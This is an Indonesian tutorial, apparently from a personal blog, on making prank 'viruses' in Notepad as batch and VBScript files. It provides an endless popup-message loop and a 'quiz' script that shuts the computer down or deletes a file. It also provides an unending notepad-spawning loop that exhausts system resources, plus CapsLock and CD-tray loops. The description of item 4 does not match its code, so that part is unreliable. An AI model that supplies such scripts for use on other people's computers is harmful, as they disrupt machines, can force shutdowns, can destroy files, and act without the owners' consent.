Cara membuat virus sederhana dengan notepad

Bukan virus sungguhan jadi ga usah takut, ini cuma buat guyonan aja hehe

1. Message yg muncul terus menerus

Buka notepad lalu copas aja kode dibawah:

@ECHO off
:<br />
Begin<br />
msg * Halo Nadia<br />
msg * Kamu suka peri ungu ya ?<br />
msg * Belajar yang rajin ya biar jadi guru favonya peri <br />
msg * Udah , sana lo belajar aja :) <br />
msg * Jangan kangen peri yaa,  sabarr <br />
msg * Besok mampir yuuk<br />
msg * tit............................ virusnya Miraaaa
GOTO BEGIN</div>

bisa dirubah sesuai keinginanmu :)
simpan dengan berekstensi .bat contoh VirusnyaMira.bat

2. pertanyaan menjebak
script nya:

@echo off
title quiz hari ini
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * halo
msg * hi
msg * hayo lo
msg * hi
msg * HALOOOOOO
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top 

simpan dengan .bat contoh contoh = virusMiraWongNyasar.bat

 

3. Membuka notepad terus-meneru
script nya:

@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top

sama simpan dengan .bat

4. komputer mati sendiri dan ngirim message
script nya

Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

simpan dengan .vbs

5. buka tutup cd room terus menerus
script nya

Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

simpan dengan .vbs